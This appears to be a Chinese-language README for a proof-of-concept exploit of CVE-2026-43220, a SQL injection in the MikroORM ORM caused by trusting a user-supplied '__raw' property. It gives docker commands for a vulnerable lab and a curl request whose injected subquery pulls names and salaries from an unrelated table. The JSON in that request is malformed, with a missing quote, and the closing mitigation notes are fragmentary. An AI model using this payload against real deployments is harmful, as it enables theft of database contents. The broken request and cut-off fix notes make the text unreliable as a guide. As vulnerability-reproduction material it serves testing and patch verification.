★ CVE-2026-43220 MikroORM SQL 注入 PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 是 MikroORM 中的一个 SQL 注入 漏洞,MikroORM 是一个广泛使用的 TypeScript/Node.js ORM 框架。
当包含__raw属性的用户提供值在未经校验的情况下被传入 自定义类型列 时,MikroORM 的isRaw()检查会将其识别为受信任的内部 Raw SQL 表达式,并将攻击者控制的sql值直接插入到生成的查询中,而不进行类型转换或清理,从而导致 任意 SQL 的非预期执行。
| 类别 | 版本 |
|---|---|
| 受影响 | MikroORM 版本 ≤ 6.4.3 和 7.0.0 ≤ 版本 ≤ 7.0.5 |
| 已修复 | MikroORM 6.4.4 和 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
启动受影响环境后,按照以下步骤复现攻击。
__raw 的恶意载荷请求发送一个包含 __raw 属性、针对自定义类型列的 JSON 请求体。
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
确认 API 返回成功响应且没有任何错误, 这表明 MikroORM 已将恶意载荷作为有效值接受。
确认所创建帖子的 content 字段包含来自 salaries 表的查询结果
(例如 Alice: 5000 / Bob: 7000 / ...),
这证实来自无关表的数据已被静默嵌入
到响应中,且没有任何错误或访问控制违规。
isRaw() 中引入了来源验证,以拒绝外部提供的 __raw 属性__raw 之类的非预期属性